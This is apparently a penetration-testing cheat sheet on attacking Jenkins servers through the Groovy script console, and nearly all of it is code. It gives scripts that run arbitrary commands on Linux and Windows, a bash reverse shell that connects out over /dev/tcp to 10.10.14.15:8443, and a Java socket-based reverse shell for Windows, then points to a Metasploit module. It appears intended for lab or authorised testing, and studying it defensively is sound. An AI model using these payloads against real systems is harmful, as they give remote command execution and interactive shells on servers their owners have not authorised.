# Jenkins

## Attacking Jenkins

### **Script Console**

```bash
# Visit /script on jenkins site, http:/site:8000/script

# Executing Commands like a web shell
# use following script ro run arbitrary commands
# LINUX
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

# WINDOWS
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");

# Getting Reverse Shell using Scritp Console
# Run the following Scirpt in Console to get a reverse shell
# LINUX
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[])
p.waitFor()

# WINDOWS 
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

# OR use this metasploit module : <https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console/>
```
